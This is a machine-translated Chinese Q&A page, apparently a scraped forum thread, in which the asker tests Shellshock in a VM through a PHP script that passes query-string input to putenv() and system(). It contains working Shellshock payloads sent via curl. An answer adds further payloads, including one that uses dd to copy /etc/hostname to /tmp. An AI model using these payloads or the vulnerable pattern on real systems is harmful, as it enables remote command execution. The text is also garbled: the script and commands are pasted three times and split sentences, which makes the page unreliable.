与Shell交互时的PHP行为
我试图测试PHP与BashShell(版本4.2)的交互。我的bashshell并没有为shellshock打补丁(是的,我知道如何打补丁;我正在虚拟机中测试;我更关注PHP与shell的交互) 我有一个简单的PHP程序,它从查询字符串中获取一个参数,通过与Shell交互时的PHP行为,php,linux,bash,shell,Php,Linux,Bash,Shell,我试图测试PHP与BashShell(版本4.2)的交互。我的bashshell并没有为shellshock打补丁(是的,我知道如何打补丁;我正在虚拟机中测试;我更关注PHP与shell的交互) 我有一个简单的PHP程序,它从查询字符串中获取一个参数,通过putenv()将其添加到环境中,然后使用system()运行一个命令。脚本如下: <?php function getParam() { $arg = NULL; if (isset($_GET["a
putenv()
将其添加到环境中,然后使用system()
运行一个命令。脚本如下:
<?php
function getParam()
{
$arg = NULL;
if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("set");
?>
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"
在输出中,我可以看到以下行:
ARG=123
本着shellshock的精神,我随后改变了我的论点如下:
<?php
function getParam()
{
$arg = NULL;
if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("set");
?>
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"
参数基本上设置为:
arg=() { echo hello; };
运行脚本时,在set的输出中看不到ARG
但随后我更改了curl请求,如下所示:
<?php
function getParam()
{
$arg = NULL;
if (isset($_GET["arg"]) && !empty($_GET["arg"]))
{
$arg = $_GET["arg"];
}
return $arg;
}
$arg = getParam();
putenv("ARG=$arg");
system("set");
?>
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;"
curl http://localhost/myphp.php?arg="()%20%7B%20echo%20hello;%20%7D;%20echo%20PID:%20;%20echo%20%24%24%20;%20echo%20Set:%20;%20set%20"
这一次,参数设置为:
arg=() { echo hello; }; echo PID:; echo $$; echo Set:; set
这次,我仍然没有在system()
的输出中看到ARG
,但我确实看到了额外的输出,因为参数如下:
PID:0
Set:
// Omitted some output
ARG ()
{
echo hello
}
所以我的问题是,为什么我在set
output viasystem()
中看不到参数ARG
,而在set
输出中看不到参数
编辑:
重新表述问题以使其更清楚:在PHP代码中,我调用system(set)
(最后一行)VS我传递set
,作为查询字符串的一部分。通过system()
执行的Set不显示shell变量中是否存在ARG
,而显示从查询字符串执行的Set
(尽管PID输出为0-因此必须考虑到这一点)
以下是完整的输出:
如果我将system(set)
更改为system(env)
,我将看到输出:,而不是
arg=() { echo hello; };
试试这个
() { :;};echo Yes we can...
还是这个
%28%29%20%7B%20%3A%3B%7D%3Becho%20Yes%20we%20can...
。。。或者是介于
您可以尝试跟踪以下内容:
(){ :;};dd if=/etc/hostname of=/tmp/testfile-$$-$RANDOM
我对最后一句话的意思感到困惑。你是什么意思?你没有在
set
通过system()
输出中看到参数ARG
,而是在set
通过参数输出中看到它?@EtanReisner请检查问题编辑。啊,你的意思是set
运行与显式system
调用set
相比。(我一直在试图弄清楚0
是如何与PID:
在同一行结束的。)是的,你已经理解了这个问题。所以当你调用system
时,你会看到set
的输出两次,但只有一个输出副本包含ARG
?或者到底是什么?